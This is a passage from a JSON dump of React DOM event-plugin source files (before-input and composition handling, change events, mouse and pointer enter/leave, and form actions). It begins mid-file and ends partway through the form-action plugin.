documentMode <= 11));\n\nconst SPACEBAR_CODE = 32;\nconst SPACEBAR_CHAR = String.fromCharCode(SPACEBAR_CODE);\n\nfunction registerEvents() {\n  registerTwoPhaseEvent('onBeforeInput', [\n    'compositionend',\n    'keypress',\n    'textInput',\n    'paste',\n  ]);\n  registerTwoPhaseEvent('onCompositionEnd', [\n    'compositionend',\n    'focusout',\n    'keydown',\n    'keypress',\n    'keyup',\n    'mousedown',\n  ]);\n  registerTwoPhaseEvent('onCompositionStart', [\n    'compositionstart',\n    'focusout',\n    'keydown',\n    'keypress',\n    'keyup',\n    'mousedown',\n  ]);\n  registerTwoPhaseEvent('onCompositionUpdate', [\n    'compositionupdate',\n    'focusout',\n    'keydown',\n    'keypress',\n    'keyup',\n    'mousedown',\n  ]);\n}\n\n// Track whether we've ever handled a keypress on the space key.\nlet hasSpaceKeypress = false;\n\n/**\n * Return whether a native keypress event is assumed to be a command.\n * This is required because Firefox fires `keypress` events for key commands\n * (cut, copy, select-all, etc.) even though no character is inserted.\n */\nfunction isKeypressCommand(nativeEvent: any) {\n  return (\n    (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) &&\n    // ctrlKey && altKey is equivalent to AltGr, and is not a command.\n    !(nativeEvent.ctrlKey && nativeEvent.altKey)\n  );\n}\n\n/**\n * Translate native top level events into event types.\n */\nfunction getCompositionEventType(domEventName: DOMEventName) {\n  switch (domEventName) {\n    case 'compositionstart':\n      return 'onCompositionStart';\n    case 'compositionend':\n      return 'onCompositionEnd';\n    case 'compositionupdate':\n      return 'onCompositionUpdate';\n  }\n}\n\n/**\n * Does our fallback best-guess model think this event signifies that\n * composition has begun?\n */\nfunction isFallbackCompositionStart(\n  domEventName: DOMEventName,\n  nativeEvent: any,\n): boolean {\n  return domEventName === 'keydown' && nativeEvent.keyCode === START_KEYCODE;\n}\n\n/**\n * Does our fallback mode think that this event is the end of composition?\n */\nfunction isFallbackCompositionEnd(\n  domEventName: DOMEventName,\n  nativeEvent: any,\n): boolean {\n  switch (domEventName) {\n    case 'keyup':\n      // Command keys insert or clear IME input.\n      return END_KEYCODES.indexOf(nativeEvent.keyCode) !== -1;\n    case 'keydown':\n      // Expect IME keyCode on each keydown. If we get any other\n      // code we must have exited earlier.\n      return nativeEvent.keyCode !== START_KEYCODE;\n    case 'keypress':\n    case 'mousedown':\n    case 'focusout':\n      // Events are not possible without cancelling IME.\n      return true;\n    default:\n      return false;\n  }\n}\n\n/**\n * Google Input Tools provides composition data via a CustomEvent,\n * with the `data` property populated in the `detail` object. If this\n * is available on the event object, use it. If not, this is a plain\n * composition event and we have nothing special to extract.\n *\n * @param {object} nativeEvent\n * @return {?string}\n */\nfunction getDataFromCustomEvent(nativeEvent: any) {\n  const detail = nativeEvent.detail;\n  if (typeof detail === 'object' && 'data' in detail) {\n    return detail.data;\n  }\n  return null;\n}\n\n/**\n * Check if a composition event was triggered by Korean IME.\n * Our fallback mode does not work well with IE's Korean IME,\n * so just use native composition events when Korean IME is used.\n * Although CompositionEvent.locale property is deprecated,\n * it is available in IE, where our fallback mode is enabled.\n *\n * @param {object} nativeEvent\n * @return {boolean}\n */\nfunction isUsingKoreanIME(nativeEvent: any) {\n  return nativeEvent.locale === 'ko';\n}\n\n// Track the current IME composition status, if any.\nlet isComposing = false;\n\n/**\n * @return {?object} A SyntheticCompositionEvent.\n */\nfunction extractCompositionEvent(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n) {\n  let eventType;\n  let fallbackData;\n\n  if (canUseCompositionEvent) {\n    eventType = getCompositionEventType(domEventName);\n  } else if (!isComposing) {\n    if (isFallbackCompositionStart(domEventName, nativeEvent)) {\n      eventType = 'onCompositionStart';\n    }\n  } else if (isFallbackCompositionEnd(domEventName, nativeEvent)) {\n    eventType = 'onCompositionEnd';\n  }\n\n  if (!eventType) {\n    return null;\n  }\n\n  if (useFallbackCompositionData && !isUsingKoreanIME(nativeEvent)) {\n    // The current composition is stored statically and must not be\n    // overwritten while composition continues.\n    if (!isComposing && eventType === 'onCompositionStart') {\n      isComposing = FallbackCompositionStateInitialize(nativeEventTarget);\n    } else if (eventType === 'onCompositionEnd') {\n      if (isComposing) {\n        fallbackData = FallbackCompositionStateGetData();\n      }\n    }\n  }\n\n  const listeners = accumulateTwoPhaseListeners(targetInst, eventType);\n  if (listeners.length > 0) {\n    const event: ReactSyntheticEvent = new SyntheticCompositionEvent(\n      eventType,\n      domEventName,\n      null,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    dispatchQueue.push({event, listeners});\n    if (fallbackData) {\n      // Inject data generated from fallback path into the synthetic event.\n      // This matches the property of native CompositionEventInterface.\n      // $FlowFixMe[incompatible-use]\n      event.data = fallbackData;\n    } else {\n      const customData = getDataFromCustomEvent(nativeEvent);\n      if (customData !== null) {\n        // $FlowFixMe[incompatible-use]\n        event.data = customData;\n      }\n    }\n  }\n}\n\nfunction getNativeBeforeInputChars(\n  domEventName: DOMEventName,\n  nativeEvent: any,\n): ?string {\n  switch (domEventName) {\n    case 'compositionend':\n      return getDataFromCustomEvent(nativeEvent);\n    case 'keypress':\n      /**\n       * If native `textInput` events are available, our goal is to make\n       * use of them. However, there is a special case: the spacebar key.\n       * In Webkit, preventing default on a spacebar `textInput` event\n       * cancels character insertion, but it *also* causes the browser\n       * to fall back to its default spacebar behavior of scrolling the\n       * page.\n       *\n       * Tracking at:\n       * https://code.google.com/p/chromium/issues/detail?id=355103\n       *\n       * To avoid this issue, use the keypress event as if no `textInput`\n       * event is available.\n       */\n      const which = nativeEvent.which;\n      if (which !== SPACEBAR_CODE) {\n        return null;\n      }\n\n      hasSpaceKeypress = true;\n      return SPACEBAR_CHAR;\n\n    case 'textInput':\n      // Record the characters to be added to the DOM.\n      const chars = nativeEvent.data;\n\n      // If it's a spacebar character, assume that we have already handled\n      // it at the keypress level and bail immediately. Android Chrome\n      // doesn't give us keycodes, so we need to ignore it.\n      if (chars === SPACEBAR_CHAR && hasSpaceKeypress) {\n        return null;\n      }\n\n      return chars;\n\n    default:\n      // For other native event types, do nothing.\n      return null;\n  }\n}\n\n/**\n * For browsers that do not provide the `textInput` event, extract the\n * appropriate string to use for SyntheticInputEvent.\n */\nfunction getFallbackBeforeInputChars(\n  domEventName: DOMEventName,\n  nativeEvent: any,\n): ?string {\n  // If we are currently composing (IME) and using a fallback to do so,\n  // try to extract the composed characters from the fallback object.\n  // If composition event is available, we extract a string only at\n  // compositionevent, otherwise extract it at fallback events.\n  if (isComposing) {\n    if (\n      domEventName === 'compositionend' ||\n      (!canUseCompositionEvent &&\n        isFallbackCompositionEnd(domEventName, nativeEvent))\n    ) {\n      const chars = FallbackCompositionStateGetData();\n      FallbackCompositionStateReset();\n      isComposing = false;\n      return chars;\n    }\n    return null;\n  }\n\n  switch (domEventName) {\n    case 'paste':\n      // If a paste event occurs after a keypress, throw out the input\n      // chars. Paste events should not lead to BeforeInput events.\n      return null;\n    case 'keypress':\n      /**\n       * As of v27, Firefox may fire keypress events even when no character\n       * will be inserted. A few possibilities:\n       *\n       * - `which` is `0`. Arrow keys, Esc key, etc.\n       *\n       * - `which` is the pressed key code, but no char is available.\n       *   Ex: 'AltGr + d` in Polish. There is no modified character for\n       *   this key combination and no character is inserted into the\n       *   document, but FF fires the keypress for char code `100` anyway.\n       *   No `input` event will occur.\n       *\n       * - `which` is the pressed key code, but a command combination is\n       *   being used. Ex: `Cmd+C`. No character is inserted, and no\n       *   `input` event will occur.\n       */\n      if (!isKeypressCommand(nativeEvent)) {\n        // IE fires the `keypress` event when a user types an emoji via\n        // Touch keyboard of Windows.  In such a case, the `char` property\n        // holds an emoji character like `\\uD83D\\uDE0A`.  Because its length\n        // is 2, the property `which` does not represent an emoji correctly.\n        // In such a case, we directly return the `char` property instead of\n        // using `which`.\n        if (nativeEvent.char && nativeEvent.char.length > 1) {\n          return nativeEvent.char;\n        } else if (nativeEvent.which) {\n          return String.fromCharCode(nativeEvent.which);\n        }\n      }\n      return null;\n    case 'compositionend':\n      return useFallbackCompositionData && !isUsingKoreanIME(nativeEvent)\n        ? null\n        : nativeEvent.data;\n    default:\n      return null;\n  }\n}\n\n/**\n * Extract a SyntheticInputEvent for `beforeInput`, based on either native\n * `textInput` or fallback behavior.\n *\n * @return {?object} A SyntheticInputEvent.\n */\nfunction extractBeforeInputEvent(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n) {\n  let chars;\n\n  if (canUseTextInputEvent) {\n    chars = getNativeBeforeInputChars(domEventName, nativeEvent);\n  } else {\n    chars = getFallbackBeforeInputChars(domEventName, nativeEvent);\n  }\n\n  // If no characters are being inserted, no BeforeInput event should\n  // be fired.\n  if (!chars) {\n    return null;\n  }\n\n  const listeners = accumulateTwoPhaseListeners(targetInst, 'onBeforeInput');\n  if (listeners.length > 0) {\n    const event: ReactSyntheticEvent = new SyntheticInputEvent(\n      'onBeforeInput',\n      'beforeinput',\n      null,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    dispatchQueue.push({event, listeners});\n    // $FlowFixMe[incompatible-use]\n    event.data = chars;\n  }\n}\n\n/**\n * Create an `onBeforeInput` event to match\n * http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105/#events-inputevents.\n *\n * This event plugin is based on the native `textInput` event\n * available in Chrome, Safari, Opera, and IE. This event fires after\n * `onKeyPress` and `onCompositionEnd`, but before `onInput`.\n *\n * `beforeInput` is spec'd but not implemented in any browsers, and\n * the `input` event does not provide any useful information about what has\n * actually been added, contrary to the spec. Thus, `textInput` is the best\n * available event to identify the characters that have actually been inserted\n * into the target node.\n *\n * This plugin is also responsible for emitting `composition` events, thus\n * allowing us to share composition fallback code for both `beforeInput` and\n * `composition` event types.\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n): void {\n  extractCompositionEvent(\n    dispatchQueue,\n    domEventName,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  extractBeforeInputEvent(\n    dispatchQueue,\n    domEventName,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n  );\n}\n\nexport {registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/ChangeEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {TextInstance, Instance} from '../../client/ReactFiberConfigDOM';\nimport type {AnyNativeEvent} from '../PluginModuleType';\nimport type {DOMEventName} from '../DOMEventNames';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {registerTwoPhaseEvent} from '../EventRegistry';\nimport {SyntheticEvent} from '../SyntheticEvent';\nimport isTextInputElement from '../isTextInputElement';\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\nimport getEventTarget from '../getEventTarget';\nimport isEventSupported from '../isEventSupported';\nimport {getNodeFromInstance} from '../../client/ReactDOMComponentTree';\nimport {updateValueIfChanged} from '../../client/inputValueTracking';\nimport {setDefaultValue} from '../../client/ReactDOMInput';\nimport {enqueueStateRestore} from '../ReactDOMControlledComponent';\n\nimport {disableInputAttributeSyncing} from 'shared/ReactFeatureFlags';\nimport {batchedUpdates} from '../ReactDOMUpdateBatching';\nimport {\n  processDispatchQueue,\n  accumulateTwoPhaseListeners,\n} from '../DOMPluginEventSystem';\nimport isCustomElement from '../../shared/isCustomElement';\n\nfunction registerEvents() {\n  registerTwoPhaseEvent('onChange', [\n    'change',\n    'click',\n    'focusin',\n    'focusout',\n    'input',\n    'keydown',\n    'keyup',\n    'selectionchange',\n  ]);\n}\n\nfunction createAndAccumulateChangeEvent(\n  dispatchQueue: DispatchQueue,\n  inst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  target: null | EventTarget,\n) {\n  // Flag this event loop as needing state restore.\n  enqueueStateRestore(((target: any): Node));\n  const listeners = accumulateTwoPhaseListeners(inst, 'onChange');\n  if (listeners.length > 0) {\n    const event: ReactSyntheticEvent = new SyntheticEvent(\n      'onChange',\n      'change',\n      null,\n      nativeEvent,\n      target,\n    );\n    dispatchQueue.push({event, listeners});\n  }\n}\n/**\n * For IE shims\n */\nlet activeElement = null;\nlet activeElementInst = null;\n\n/**\n * SECTION: handle `change` event\n */\nfunction shouldUseChangeEvent(elem: Instance | TextInstance) {\n  const nodeName = elem.nodeName && elem.nodeName.toLowerCase();\n  return (\n    nodeName === 'select' ||\n    (nodeName === 'input' && (elem: any).type === 'file')\n  );\n}\n\nfunction manualDispatchChangeEvent(nativeEvent: AnyNativeEvent) {\n  const dispatchQueue: DispatchQueue = [];\n  createAndAccumulateChangeEvent(\n    dispatchQueue,\n    activeElementInst,\n    nativeEvent,\n    getEventTarget(nativeEvent),\n  );\n\n  // If change and propertychange bubbled, we'd just bind to it like all the\n  // other events and have it go through ReactBrowserEventEmitter. Since it\n  // doesn't, we manually listen for the events and so we have to enqueue and\n  // process the abstract event manually.\n  //\n  // Batching is necessary here in order to ensure that all event handlers run\n  // before the next rerender (including event handlers attached to ancestor\n  // elements instead of directly on the input). Without this, controlled\n  // components don't work properly in conjunction with event bubbling because\n  // the component is rerendered and the value reverted before all the event\n  // handlers can run. See https://github.com/facebook/react/issues/708.\n  batchedUpdates(runEventInBatch, dispatchQueue);\n}\n\nfunction runEventInBatch(dispatchQueue: DispatchQueue) {\n  processDispatchQueue(dispatchQueue, 0);\n}\n\nfunction getInstIfValueChanged(targetInst: Object) {\n  const targetNode = getNodeFromInstance(targetInst);\n  if (updateValueIfChanged(((targetNode: any): HTMLInputElement))) {\n    return targetInst;\n  }\n}\n\nfunction getTargetInstForChangeEvent(\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n) {\n  if (domEventName === 'change') {\n    return targetInst;\n  }\n}\n\n/**\n * SECTION: handle `input` event\n */\nlet isInputEventSupported = false;\nif (canUseDOM) {\n  // IE9 claims to support the input event but fails to trigger it when\n  // deleting text, so we ignore its input events.\n  isInputEventSupported =\n    isEventSupported('input') &&\n    (!document.documentMode || document.documentMode > 9);\n}\n\n/**\n * (For IE <=9) Starts tracking propertychange events on the passed-in element\n * and override the value property so that we can distinguish user events from\n * value changes in JS.\n */\nfunction startWatchingForValueChange(\n  target: Instance | TextInstance,\n  targetInst: null | Fiber,\n) {\n  activeElement = target;\n  activeElementInst = targetInst;\n  (activeElement: any).attachEvent('onpropertychange', handlePropertyChange);\n}\n\n/**\n * (For IE <=9) Removes the event listeners from the currently-tracked element,\n * if any exists.\n */\nfunction stopWatchingForValueChange() {\n  if (!activeElement) {\n    return;\n  }\n  (activeElement: any).detachEvent('onpropertychange', handlePropertyChange);\n  activeElement = null;\n  activeElementInst = null;\n}\n\n/**\n * (For IE <=9) Handles a propertychange event, sending a `change` event if\n * the value of the active element has changed.\n */\n// $FlowFixMe[missing-local-annot]\nfunction handlePropertyChange(nativeEvent) {\n  if (nativeEvent.propertyName !== 'value') {\n    return;\n  }\n  if (getInstIfValueChanged(activeElementInst)) {\n    manualDispatchChangeEvent(nativeEvent);\n  }\n}\n\nfunction handleEventsForInputEventPolyfill(\n  domEventName: DOMEventName,\n  target: Instance | TextInstance,\n  targetInst: null | Fiber,\n) {\n  if (domEventName === 'focusin') {\n    // In IE9, propertychange fires for most input events but is buggy and\n    // doesn't fire when text is deleted, but conveniently, selectionchange\n    // appears to fire in all of the remaining cases so we catch those and\n    // forward the event if the value has changed\n    // In either case, we don't want to call the event handler if the value\n    // is changed from JS so we redefine a setter for `.value` that updates\n    // our activeElementValue variable, allowing us to ignore those changes\n    //\n    // stopWatching() should be a noop here but we call it just in case we\n    // missed a blur event somehow.\n    stopWatchingForValueChange();\n    startWatchingForValueChange(target, targetInst);\n  } else if (domEventName === 'focusout') {\n    stopWatchingForValueChange();\n  }\n}\n\n// For IE8 and IE9.\nfunction getTargetInstForInputEventPolyfill(\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n) {\n  if (\n    domEventName === 'selectionchange' ||\n    domEventName === 'keyup' ||\n    domEventName === 'keydown'\n  ) {\n    // On the selectionchange event, the target is just document which isn't\n    // helpful for us so just check activeElement instead.\n    //\n    // 99% of the time, keydown and keyup aren't necessary. IE8 fails to fire\n    // propertychange on the first input event after setting `value` from a\n    // script and fires only keydown, keypress, keyup. Catching keyup usually\n    // gets it and catching keydown lets us fire an event for the first\n    // keystroke if user does a key repeat (it'll be a little delayed: right\n    // before the second keystroke). Other input methods (e.g., paste) seem to\n    // fire selectionchange normally.\n    return getInstIfValueChanged(activeElementInst);\n  }\n}\n\n/**\n * SECTION: handle `click` event\n */\nfunction shouldUseClickEvent(elem: any) {\n  // Use the `click` event to detect changes to checkbox and radio inputs.\n  // This approach works across all browsers, whereas `change` does not fire\n  // until `blur` in IE8.\n  const nodeName = elem.nodeName;\n  return (\n    nodeName &&\n    nodeName.toLowerCase() === 'input' &&\n    (elem.type === 'checkbox' || elem.type === 'radio')\n  );\n}\n\nfunction getTargetInstForClickEvent(\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n) {\n  if (domEventName === 'click') {\n    return getInstIfValueChanged(targetInst);\n  }\n}\n\nfunction getTargetInstForInputOrChangeEvent(\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n) {\n  if (domEventName === 'input' || domEventName === 'change') {\n    return getInstIfValueChanged(targetInst);\n  }\n}\n\nfunction handleControlledInputBlur(node: HTMLInputElement, props: any) {\n  if (node.type !== 'number') {\n    return;\n  }\n\n  if (!disableInputAttributeSyncing) {\n    const isControlled = props.value != null;\n    if (isControlled) {\n      // If controlled, assign the value attribute to the current value on blur\n      setDefaultValue((node: any), 'number', (node: any).value);\n    }\n  }\n}\n\n/**\n * This plugin creates an `onChange` event that normalizes change events\n * across form elements. This event fires at a time when it's possible to\n * change the element's value without seeing a flicker.\n *\n * Supported elements are:\n * - input (see `isTextInputElement`)\n * - textarea\n * - select\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: null | EventTarget,\n) {\n  const targetNode = targetInst ? getNodeFromInstance(targetInst) : window;\n\n  let getTargetInstFunc, handleEventFunc;\n  if (shouldUseChangeEvent(targetNode)) {\n    getTargetInstFunc = getTargetInstForChangeEvent;\n  } else if (isTextInputElement(((targetNode: any): HTMLElement))) {\n    if (isInputEventSupported) {\n      getTargetInstFunc = getTargetInstForInputOrChangeEvent;\n    } else {\n      getTargetInstFunc = getTargetInstForInputEventPolyfill;\n      handleEventFunc = handleEventsForInputEventPolyfill;\n    }\n  } else if (shouldUseClickEvent(targetNode)) {\n    getTargetInstFunc = getTargetInstForClickEvent;\n  } else if (\n    targetInst &&\n    isCustomElement(targetInst.elementType, targetInst.memoizedProps)\n  ) {\n    getTargetInstFunc = getTargetInstForChangeEvent;\n  }\n\n  if (getTargetInstFunc) {\n    const inst = getTargetInstFunc(domEventName, targetInst);\n    if (inst) {\n      createAndAccumulateChangeEvent(\n        dispatchQueue,\n        inst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      return;\n    }\n  }\n\n  if (handleEventFunc) {\n    handleEventFunc(domEventName, targetNode, targetInst);\n  }\n\n  // When blurring, set the value attribute for number inputs\n  if (domEventName === 'focusout' && targetInst) {\n    // These props aren't necessarily the most current but we warn for changing\n    // between controlled and uncontrolled, so it doesn't matter and the previous\n    // code was also broken for changes.\n    const props = targetInst.memoizedProps;\n    handleControlledInputBlur(((targetNode: any): HTMLInputElement), props);\n  }\n}\n\nexport {registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/EnterLeaveEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AnyNativeEvent} from '../PluginModuleType';\nimport type {DOMEventName} from '../DOMEventNames';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {KnownReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {registerDirectEvent} from '../EventRegistry';\nimport {isReplayingEvent} from '../CurrentReplayingEvent';\nimport {SyntheticMouseEvent, SyntheticPointerEvent} from '../SyntheticEvent';\nimport {\n  getClosestInstanceFromNode,\n  getNodeFromInstance,\n  isContainerMarkedAsRoot,\n} from '../../client/ReactDOMComponentTree';\nimport {accumulateEnterLeaveTwoPhaseListeners} from '../DOMPluginEventSystem';\n\nimport {\n  HostComponent,\n  HostSingleton,\n  HostText,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {getNearestMountedFiber} from 'react-reconciler/src/ReactFiberTreeReflection';\n\nfunction registerEvents() {\n  registerDirectEvent('onMouseEnter', ['mouseout', 'mouseover']);\n  registerDirectEvent('onMouseLeave', ['mouseout', 'mouseover']);\n  registerDirectEvent('onPointerEnter', ['pointerout', 'pointerover']);\n  registerDirectEvent('onPointerLeave', ['pointerout', 'pointerover']);\n}\n\n/**\n * For almost every interaction we care about, there will be both a top-level\n * `mouseover` and `mouseout` event that occurs. Only use `mouseout` so that\n * we do not extract duplicate events. However, moving the mouse into the\n * browser from outside will not fire a `mouseout` event. In this case, we use\n * the `mouseover` top-level event.\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n) {\n  const isOverEvent =\n    domEventName === 'mouseover' || domEventName === 'pointerover';\n  const isOutEvent =\n    domEventName === 'mouseout' || domEventName === 'pointerout';\n\n  if (isOverEvent && !isReplayingEvent(nativeEvent)) {\n    // If this is an over event with a target, we might have already dispatched\n    // the event in the out event of the other target. If this is replayed,\n    // then it's because we couldn't dispatch against this target previously\n    // so we have to do it now instead.\n    const related =\n      (nativeEvent: any).relatedTarget || (nativeEvent: any).fromElement;\n    if (related) {\n      // If the related node is managed by React, we can assume that we have\n      // already dispatched the corresponding events during its mouseout.\n      if (\n        getClosestInstanceFromNode(related) ||\n        isContainerMarkedAsRoot(related)\n      ) {\n        return;\n      }\n    }\n  }\n\n  if (!isOutEvent && !isOverEvent) {\n    // Must not be a mouse or pointer in or out - ignoring.\n    return;\n  }\n\n  let win;\n  // TODO: why is this nullable in the types but we read from it?\n  if ((nativeEventTarget: any).window === nativeEventTarget) {\n    // `nativeEventTarget` is probably a window object.\n    win = nativeEventTarget;\n  } else {\n    // TODO: Figure out why `ownerDocument` is sometimes undefined in IE8.\n    const doc = (nativeEventTarget: any).ownerDocument;\n    if (doc) {\n      win = doc.defaultView || doc.parentWindow;\n    } else {\n      win = window;\n    }\n  }\n\n  let from;\n  let to;\n  if (isOutEvent) {\n    const related = nativeEvent.relatedTarget || (nativeEvent: any).toElement;\n    from = targetInst;\n    to = related ? getClosestInstanceFromNode((related: any)) : null;\n    if (to !== null) {\n      const nearestMounted = getNearestMountedFiber(to);\n      const tag = to.tag;\n      if (\n        to !== nearestMounted ||\n        (tag !== HostComponent && tag !== HostSingleton && tag !== HostText)\n      ) {\n        to = null;\n      }\n    }\n  } else {\n    // Moving to a node from outside the window.\n    from = null;\n    to = targetInst;\n  }\n\n  if (from === to) {\n    // Nothing pertains to our managed components.\n    return;\n  }\n\n  let SyntheticEventCtor = SyntheticMouseEvent;\n  let leaveEventType = 'onMouseLeave';\n  let enterEventType = 'onMouseEnter';\n  let eventTypePrefix = 'mouse';\n  if (domEventName === 'pointerout' || domEventName === 'pointerover') {\n    SyntheticEventCtor = SyntheticPointerEvent;\n    leaveEventType = 'onPointerLeave';\n    enterEventType = 'onPointerEnter';\n    eventTypePrefix = 'pointer';\n  }\n\n  const fromNode = from == null ? win : getNodeFromInstance(from);\n  const toNode = to == null ? win : getNodeFromInstance(to);\n\n  const leave: KnownReactSyntheticEvent = new SyntheticEventCtor(\n    leaveEventType,\n    eventTypePrefix + 'leave',\n    from,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  leave.target = fromNode;\n  leave.relatedTarget = toNode;\n\n  let enter: KnownReactSyntheticEvent | null = null;\n\n  // We should only process this nativeEvent if we are processing\n  // the first ancestor. Next time, we will ignore the event.\n  const nativeTargetInst = getClosestInstanceFromNode((nativeEventTarget: any));\n  if (nativeTargetInst === targetInst) {\n    const enterEvent: KnownReactSyntheticEvent = new SyntheticEventCtor(\n      enterEventType,\n      eventTypePrefix + 'enter',\n      to,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    enterEvent.target = toNode;\n    enterEvent.relatedTarget = fromNode;\n    enter = enterEvent;\n  }\n\n  accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leave, enter, from, to);\n}\n\nexport {registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AnyNativeEvent} from '../PluginModuleType';\nimport type {DOMEventName} from '../DOMEventNames';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {FormStatus} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\n\nimport {enableTrustedTypesIntegration} from 'shared/ReactFeatureFlags';\nimport {getFiberCurrentPropsFromNode} from '../../client/ReactDOMComponentTree';\nimport {startHostTransition} from 'react-reconciler/src/ReactFiberReconciler';\nimport {didCurrentEventScheduleTransition} from 'react-reconciler/src/ReactFiberRootScheduler';\nimport sanitizeURL from 'react-dom-bindings/src/shared/sanitizeURL';\nimport {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';\n\nimport {SyntheticEvent} from '../SyntheticEvent';\n\nfunction coerceFormActionProp(\n  actionProp: mixed,\n): string | (FormData => void | Promise<void>) | null {\n  // This should match the logic in ReactDOMComponent\n  if (\n    actionProp == null ||\n    typeof actionProp === 'symbol' ||\n    typeof actionProp === 'boolean'\n  ) {\n    return null;\n  } else if (typeof actionProp === 'function') {\n    return (actionProp: any);\n  } else {\n    if (__DEV__) {\n      checkAttributeStringCoercion(actionProp, 'action');\n    }\n    return (sanitizeURL(\n      enableTrustedTypesIntegration ? actionProp : '' + (actionProp: any),\n    ): any);\n  }\n}\n\n/**\n * This plugin invokes action functions on forms, inputs and buttons if\n * the form doesn't prevent default.\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  maybeTargetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n) {\n  if (domEventName !== 'submit') {\n    return;\n  }\n  if (!maybeTargetInst || maybeTargetInst.stateNode !== nativeEventTarget) {\n    // If we're inside a parent root that itself is a parent of this root, then\n    // its deepest target won't be the actual form that's being submitted.\n    return;\n  }\n  const formInst = maybeTargetInst;\n  const form: HTMLFormElement = (nativeEventTarget: any);\n  let action = coerceFormActionProp(\n    (getFiberCurrentPropsFromNode(form): any).action,\n  );\n  let submitter: null | void | HTMLInputElement | HTMLButtonElement =\n    (nativeEvent: any).submitter;\n  let submitterAction;\n  if (submitter) {\n    const submitterProps = getFiberCurrentPropsFromNode(submitter);\n    submitterAction = submitterProps\n      ? coerceFormActionProp((submitterProps: any).formAction)\n      : // The built-in Flow type is ?string, wider than the spec\n        ((submitter.getAttribute('formAction'): any): string | null);\n    if (submitterAction !== null) {\n      // The submitter overrides the form action.\n      action = submitterAction;\n      // If the action is a function, we don't want to pass its name\n      // value to the FormData since it's controlled by the server.\n      submitter = null;\n    }\n  }\n\n  const event = new SyntheticEvent(\n    'action',\n    'action',\n    null,\n    nativeEvent,\n    nativeEventTarget,\n  );\n\n  function submitForm() {\n    if (nativeEvent.defaultPrevented) {\n      // An earlier event prevented form submission. If a transition update was\n      // also scheduled, we should trigger a pending form status — even if\n      // no action function was provided.\n      if (didCurrentEventScheduleTransition()) {\n        // We're going to set the pending form status, but because the submission\n        // was prevented, we should not fire the action function.\n        const formData = new FormData(form, submitter);\n        const pendingState: FormStatus = {\n          pending: true,\n          data: formData,\n          method: form.method,\n          action: action,\n        };\n        if (__DEV__) {\n          Object.freeze(pendingState);\n        }\n        startHostTransition(\n          formInst,\n          pendingState,\n          // Pass `null` as the action\n          // TODO: Consider splitting up startHostTransition into two separate\n          // functions, one that sets the form status and one that invokes\n          // the action.\n          null,\n          formData,\n        );\n      } else {\n        // No earlier event scheduled a transition. Exit without setting a\n        // pending form status.\n      }\n    } else if (typeof action === 'function') {\n      // A form action was provided. Prevent native navigation.\n  